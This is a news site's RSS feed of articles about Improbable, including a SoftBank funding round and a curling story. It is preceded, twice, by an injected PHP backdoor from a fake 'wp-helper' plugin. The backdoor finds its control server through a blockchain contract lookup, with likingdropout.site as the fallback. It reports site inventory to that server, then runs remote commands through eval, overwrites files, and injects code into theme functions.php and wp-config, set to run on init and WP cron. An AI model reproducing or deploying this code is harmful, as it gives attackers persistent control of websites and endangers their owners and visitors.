// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Improbable – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 11 Jan 2019 05:27:37 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Improbable – Brief News https://briefnews.eu 32 32 Epic, Improbable create $25 million fund to transition devs away from Unity https://briefnews.eu/epic-improbable-create-25-million-fund-to-transition-devs-away-from-unity/ https://briefnews.eu/epic-improbable-create-25-million-fund-to-transition-devs-away-from-unity/#respond Fri, 11 Jan 2019 05:27:37 +0000 http://briefnews.eu/epic-improbable-create-25-million-fund-to-transition-devs-away-from-unity/ Unreal and SpatialOS already work together seamlessly.


Unreal Engine company Epic Game is using its sizable Fortnite-backed bank account to woo unhappy Unity developers away from that platform.Read More

]]>
https://briefnews.eu/epic-improbable-create-25-million-fund-to-transition-devs-away-from-unity/feed/ 0
The Improbable Rise of the Daily News Podcast https://briefnews.eu/the-improbable-rise-of-the-daily-news-podcast/ https://briefnews.eu/the-improbable-rise-of-the-daily-news-podcast/#respond Tue, 06 Mar 2018 12:49:51 +0000 http://briefnews.eu/the-improbable-rise-of-the-daily-news-podcast/ WIRED columnist Felix Salmon on how Serial paved the way for a new generation of daily news podcasts.


https://media.wired.com/photos/5a9d8f3d2b62655fe349d42d/master/pass/ideas_salmon_podcasts-FINAL.jpg

]]>
https://briefnews.eu/the-improbable-rise-of-the-daily-news-podcast/feed/ 0
Sam Cossman’s Crazy-Fun, World-Improving, Somewhat Improbable Universe https://briefnews.eu/sam-cossmans-crazy-fun-world-improving-somewhat-improbable-universe/ https://briefnews.eu/sam-cossmans-crazy-fun-world-improving-somewhat-improbable-universe/#respond Mon, 19 Feb 2018 04:47:01 +0000 http://briefnews.eu/sam-cossmans-crazy-fun-world-improving-somewhat-improbable-universe/ How an idealistic entrepreneur turns wild experiences into viral videos into actual science into a going business concern.


https://media.wired.com/photos/5a87400a4430bd3783b46689/master/pass/Cossmam-TopArt.jpg

]]>
https://briefnews.eu/sam-cossmans-crazy-fun-world-improving-somewhat-improbable-universe/feed/ 0
Improbable draws $502 million from SoftBank and others for dream of giant online game worlds https://briefnews.eu/improbable-draws-502-million-from-softbank-and-others-for-dream-of-giant-online-game-worlds/ https://briefnews.eu/improbable-draws-502-million-from-softbank-and-others-for-dream-of-giant-online-game-worlds/#respond Fri, 12 May 2017 00:05:14 +0000 http://briefnews.eu/improbable-draws-502-million-from-softbank-and-others-for-dream-of-giant-online-game-worlds/


How’s this for improbable?

Online gaming world enabler Improbable has raised $ 502 million in a second round of investors, including SoftBank. Improbable has created an operating system, SpatialOS, that marshals the power of cloud computing and distributed platforms to enable even small studios to develop games with giant worlds.

The London-based company showed off a few of those games at the recent Game Developers Conference (GDC).

Above: Bossa Studios’ Worlds Adrift

Image Credit: Bossa Studios

CEO Herman Narula told me in an interview at the time that the company has launched its open beta for SpatialOS.

Developers working on SpatialOS-based games include Worlds Adrift, the upcoming game from Bossa Studios; Chronicles of Elyria by Soulbound Studios, a massively multiplayer online role-playing game built with the Unreal engine; Seed by Klang, a game of planetary settlement set in a shared, persistent world, created by a team including former senior CCP (Eve Online) employees; Lazarus by Spilt Milk Studios, a multiplayer top-down 2D shooter set in a huge galaxy populated by artificially intelligent alien factions locked in a war for territory; and Vanishing Stars: Colony Wars by Ninpo Game Studio, a new type of massively multiplayer real-time strategy game, played across thousands of star systems, each with their own planets to battle on.

Deep Nishar of SoftBank has joined the Improbable board following this investment, which sees SoftBank taking a non-controlling stake in the company. Earlier investors Andreessen Horowitz, Horizons Ventures and Temasek Holdings also participated. Improbable had received $ 20 million in a first round of funding from Andreessen Horowitz in March 2015.

Solina Chau, founder of Horizons Ventures, said in a statement, “Having backed Improbable from the start, we continue to see huge potential in the application of its technology, both for solving real-world problems and in changing the future of the games industry. Improbable is an exciting, ambitious company that we’re honored to be a part of.”

Above: Improbable enables big game worlds, and other applications too.

Image Credit: Improbable

The company said the investment will give it an opportunity to expand operations significantly in both London and San Francisco, as well as further develop its technology and continue to develop a vibrant ecosystem of developers and customers. Alongside the investment, Improbable will explore and identify opportunities for mutually beneficial relationships with SoftBank, its partners and portfolio companies.

“We believe that the next major phase in computing will be the emergence of large-scale virtual worlds which enrich human experience and change how we understand the real world. At Improbable we have spent the last few years building the foundational infrastructure for this vision,” said Narula in a statement today.

Above: Improbable helps applications deal with massive amounts of data.

Image Credit: Improbable

Founded in 2012, Improbable recently announced a partnership with Google to create the SpatialOS Games Innovation Program with Google Cloud, which will enable developers to build huge, persistent online game worlds.

Narula added, ““The global games market is already huge, and we believe that far more growth is possible. The kinds of games enabled by SpatialOS — multiplayer games allowing players to form meaningful relationships with games worlds and with each other — will be category-defining, and attract new audiences. This investment reflects the potential size and importance of the market for this next generation of games and, ultimately, how massive-scale virtual worlds could become fundamental to how society works. SoftBank is a perfect partner for us, with many complementary investments in their portfolio. This investment will allow us to take the big, bold steps needed to fully realize our vision.”

Back in March, Narula said that SpatialOS could be used for other applications beyond games, and no doubt that’s why SoftBank is interested in the company. He said that user-generated games will be an ideal application for Improbable technology. Worlds Adrift already has thousands of user-generated islands that float in the sky of the game world.

As for the game worlds, he said, ” We’re excited by how fast things are moving. It’s validated our thesis that if we can get the stack out there as a platform, developers will be able to build bigger games quicker.”

VentureBeat’s PC Gaming channel is presented by the Intel® Game Dev program. 


VentureBeat

]]>
https://briefnews.eu/improbable-draws-502-million-from-softbank-and-others-for-dream-of-giant-online-game-worlds/feed/ 0
Team Gushue's improbable run can end in historic fashion at curling worlds https://briefnews.eu/team-gushues-improbable-run-can-end-in-historic-fashion-at-curling-worlds/ https://briefnews.eu/team-gushues-improbable-run-can-end-in-historic-fashion-at-curling-worlds/#respond Sun, 09 Apr 2017 10:13:27 +0000 http://briefnews.eu/team-gushues-improbable-run-can-end-in-historic-fashion-at-curling-worlds/ EDMONTON — It wasn’t all that long ago that Brad Gushue’s Rink out of the Bally Haly Curling Club in St. John’s was on the edge of disaster at the Tim Hortons Brier.

An 8-4 loss against Northwest Territories in their fifth game dropped Gushue to a 3-2 record, stunning a city and province that had great expectations for their hometown team.

In hindsight, that loss would be a blessing in disguise. Gushue was fuming after it. In his brief post-game comments he admitted that the team had perhaps gotten caught up in throwing a party rather than winning a Canadian curling title.

Everything in that moment changed. A heated team meeting took place.  They’ve never looked back.

“I think we’ve grown as a team this last month,” said third, Mark Nichols. “We’ve learned a lot about each other and what we can do in big moments and in big situations. The Brier is a prime example.”

Since then, between the Brier and worlds, the Gushue foursome hasn’t lost. It’s now 20 consecutive wins.

“It’s going to take a hell of a game from someone to beat us,” skip Brad Gushue said.

The skip is brimming with confidence.

Imagine this. Just five short weeks ago Brad Gushue had never captured a Brier or world championship. In his 14th appearance at the Canadian men’s curling championship he finally did it. Now he’s one win away claiming a world title. Should the now veteran skip win Sunday night in Edmonton, it’ll be historic.

gushue-brad

Canada skip Brad Gushue makes a shot during the page 1-2 playoff against Sweden. (Jonathan Hayward/The Canadian Press)

Gushue would become the first-ever skip in the history of the game to win a world junior title, an Olympic gold medal, and a world curling title.

“I want to be a world champion. It’s one of the things missing,” he said. “And more so what our team has done over the last three years in particular to get to this point and the work we’ve put into the game.”

Brier title win for the Rock

Gushue’s Rink captured Newfoundland and Labrador’s first Brier title since Jack MacDuff and his team did it in Regina in 1976.

What made it even more special for the team is that it took place in St. John’s. Every game the hometown team played in was a party, people packed into the Mile One Centre for every draw, cheering wildly for every Gushue shot made.

After a nail-biting 7-6 Brier win, the party spilled across the street into the Brier Patch, where thousands of people waited until 2am to celebrate with the Gushue team.

Gushue even picked up the Brier Tankard and passed it to the throng of fans. The trophy crowd-surfed around the Patch.

It was more than just a game. It was for the entire province. Now at Worlds, it’s for the entire country.

“We want to cap this off,” said Walker. “It’s been quite the story-book year that’s for sure with everything that’s gone on. We’re here now and we want to win.”

Each member is critical

The Gushue four all play a crucial role in the team’s success, and each one will tell you that.

Lead Geoff Walker, from Beaverlodge, Alta., has been a part of the team since the 2011-12 season. Now he’s playing for a World Championship in the same province he learned how to play the sport in.

gushue-brad

Brad Gushue and the rest of team Canada take part in a team practice. (Jonathan Hayward/The Canadian Press)

I dreamed of this when I started curling competitively but realistically it’s obviously some long odds. I worked hard and got on a great team.”

Second Brett Gallant, from Charlottetown, PEI, has been alongside Gushue for the past five seasons. He moved from third to second when Nichols rejoined the team three years ago.

“I think when it’s all done we’ll look back at it as an unbelievable time in our lives,” Gallant said.

“A hometown Brier and basically a hometown worlds in Edmonton which is one of the biggest curling cities there is.”

There there’s Mark Nichols. The team’s third and pride of Labrador City, Nichols has been with Gushue since 1998. They’ve been through a lot of battles together. But Nichols says it’s the past year that has really shaped this team.

“The last 12 months for this team has been a roller coaster,” Nichols said. “From the moment we lost that Brier final last year we talked about getting back to that Brier final.”

Gushue and Nichols were part of that Olympic gold-medal winning team from 2006.

The skip knows how valuable each member of the team is.

